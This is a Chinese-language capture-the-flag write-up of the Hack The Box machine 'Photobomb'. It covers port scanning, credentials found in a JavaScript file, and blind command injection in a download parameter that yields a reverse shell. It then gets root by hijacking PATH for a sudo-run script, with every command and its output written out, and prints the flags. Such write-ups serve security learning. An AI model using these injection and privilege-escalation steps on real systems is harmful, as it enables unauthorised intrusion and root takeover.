当前位置: 首页 > news >正文

HTB:Photobomb[WriteUP]

目录

连接至HTB服务器并启动靶机

使用nmap对靶机进行端口开放扫描

再次使用nmap对靶机开放端口进行脚本、服务扫描

使用ffuf进行简单的子域名扫描

使用浏览器直接访问该域名

选取一个照片进行下载,使用Yakit进行抓包

USER_FLAG:a9afd9220ae2b573190f0ae0d9952f1c

特权提升

新建一个find文件(Shell)

ROOT_FLAG:2476206b2085f447038e0b03792bf147


连接至HTB服务器并启动靶机

靶机IP:10.10.11.182

分配IP:10.10.16.7


使用nmap对靶机进行端口开放扫描

nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.182

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.182
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 19:43 EST
Nmap scan report for 10.10.11.182 (10.10.11.182)
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 45.53 seconds

再次使用nmap对靶机开放端口进行脚本、服务扫描

nmap -p 22,80 -sCV 10.10.11.182

可以看到这里访问靶机80端口被重定位,将其写入hosts中

echo '10.10.11.182 photobomb.htb' >> /etc/hosts

使用ffuf进行简单的子域名扫描

ffuf -u http://photobomb.htb/ -H 'Host: FUZZ.photobomb.htb' -w ../dictionary/subdomains-top20000.txt -t 200 -fc 302

使用浏览器直接访问该域名

点击click here会跳出认证框

按住Ctrl+U查看网页源码,可以找到一个JS文件:photobomb.js

直接点击查看其内容,获得一份凭证

账户:pH0t0

密码:b0Mb!

使用该凭证进行登录进入相册页

选取一个照片进行下载,使用Yakit进行抓包

经过测试:filetype这个参数点是无回显出网RCE(这里ping务必选定-c参数选择此数不然就会一直ping)

本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.182] 56584
bash: cannot set terminal process group (696): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ whoami
whoami
wizard

查找user_flag位置并查看其内容

wizard@photobomb:~/photobomb$ find / -name 'user.txt' 2>/dev/null
find / -name 'user.txt' 2>/dev/null
/home/wizard/user.txt
wizard@photobomb:~/photobomb$ cat /home/wizard/user.txt
cat /home/wizard/user.txt
a9afd9220ae2b573190f0ae0d9952f1c

USER_FLAG:a9afd9220ae2b573190f0ae0d9952f1c


特权提升

查看该用户可特权运行的命令

sudo -l

wizard@photobomb:~/photobomb$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

提升TTY

python3 -c 'import pty; pty.spawn("sh")'

查看/opt/cleanup.sh内容

cat /opt/cleanup.sh

$ cat /opt/cleanup.sh
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

上述代码中,我主要关注这一部分,bashrc文件通常是bash环境配置文件

但是这个文件默认应该不在/opt目录下,所以我尝试寻找该系统的所有bashrc文件路径

find / -name '*bashrc*' -type f 2>/dev/null

$ find / -name '*bashrc*' -type f 2>/dev/null
find / -name '*bashrc*' -type f 2>/dev/null
/opt/.bashrc
/usr/share/byobu/profiles/bashrc
/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bashrc
/usr/share/doc/adduser/examples/adduser.local.conf.examples/bash.bashrc
/usr/share/base-files/dot.bashrc
/usr/lib/python3/dist-packages/pexpect/bashrc.sh
/etc/skel/.bashrc
/etc/bash.bashrc
/home/wizard/.bashrc

使用diff命令将/opt/.bashrc文件与/etc/bash.bashrc文件进行内容比对

$ diff /etc/bash.bashrc /opt/.bashrc
diff /etc/bash.bashrc /opt/.bashrc
5a6,11
> # Jameson: ensure that snaps don't interfere, 'cos they are dumb
> PATH=${PATH/:\/snap\/bin/}
>
> # Jameson: caused problems with testing whether to rotate the log file
> enable -n [ # ]
>

可以看到,该/opt/cleanup.sh脚本,引用的环境配置文件/opt/.bashrc中,关于Shell所运行的二进制文件路径配置与系统默认文件(/etc/bash.bashrc)不同

系统中的/etc/bash.bashrc文件使用的是/bin/绝对路径从这开始读取

/opt/.bashrc文件并未配置二进制文件寻找路径

这意味着如果我们运行/opt/cleanup.sh脚本,它将会从$PATH环境变量中的所有目录中查找二进制文件

再次查看脚本内容,在最后一行中可见使用的find命令并非绝对路径

提权思路就很简单了,当前目录下新建一个find命令,并将当前目录写入$PATH环境变量头部

与此同时,用这临时设置的环境变量特权(sudo)运行/opt/cleanup.sh脚本

新建一个find文件(Shell)

echo 'bash -i' > find

为find文件赋执行权限

chmod +x find

配置临时环境变量并启动/opt/cleanup.sh脚本

sudo PATH=$PWD:$PATH /opt/cleanup.sh

wizard@photobomb:~$ echo 'bash -i' > find
echo 'bash -i' > find
wizard@photobomb:~$ chmod +x find
chmod +x find

wizard@photobomb:~$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
sudo PATH=$PWD:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# whoami
whoami
root

在/root目录下找到了root.txt

root@photobomb:/# cd /root
cd /root
root@photobomb:~# ls
ls
root.txt
root@photobomb:~# cat root.txt
cat root.txt
2476206b2085f447038e0b03792bf147

ROOT_FLAG:2476206b2085f447038e0b03792bf147

http://www.lryc.cn/news/482441.html

相关文章:

  • 图文组合-pytorch实现
  • CentOS AppStream 8 手动更新 yum源
  • 虚拟化环境中香港服务器内存如何分配与管理?
  • Android源码中如何编译出fastboot.exe和adb.exe程序
  • C++ 参数传递 笔记
  • 【Linux】注释和配置文件的介绍
  • 安卓主板_基于联发科MTK MT8788平台平板电脑方案_安卓核心板开发板定制
  • CLIP(Contrastive Language-Image Pre-Training)在SOPHON BM1684X上进行推理
  • Ascend Extension for PyTorch的源码解析
  • 鸿蒙HarmonyOS开发:给应用添加基础类型通知和进度条类型通知(API 12)
  • 从零开始使用YOLOv11——Yolo检测detect数据集自建格式转换为模型训练格式:20w+图片1w+类别代码测试成功
  • 自动化新时代:机器取代工作,我们该如何重塑自我?
  • GEE 土地分类——利用Sentinel-2数据进行土地分类
  • 《C++ 游戏开发》
  • 2024年11月10日系统架构设计师考试题目回顾
  • 测试实项中的偶必现难测bug--苹果支付丢单问题
  • Elasticsearch的数据类型
  • SSL 证书申请以及配置流程
  • [Docker#4] 镜像仓库 | 部分常用命令
  • 工业通信协议对比:OPC-UA、Modbus、MQTT、HTTP
  • docker 常用方法
  • 区块链技术入门:以太坊智能合约详解
  • 特定数据库的备份脚本
  • uni-app打包后报错云服务空间未关联
  • FPGA学习(10)-数码管
  • C++(继承)
  • 华为OD机试 - RSA加密算法(Java 2024 E卷 100分)
  • 分组校验在Spring中的应用详解
  • torch.nn.**和torch.nn.functional.**的区别
  • Air780E基于LuatOS编程开发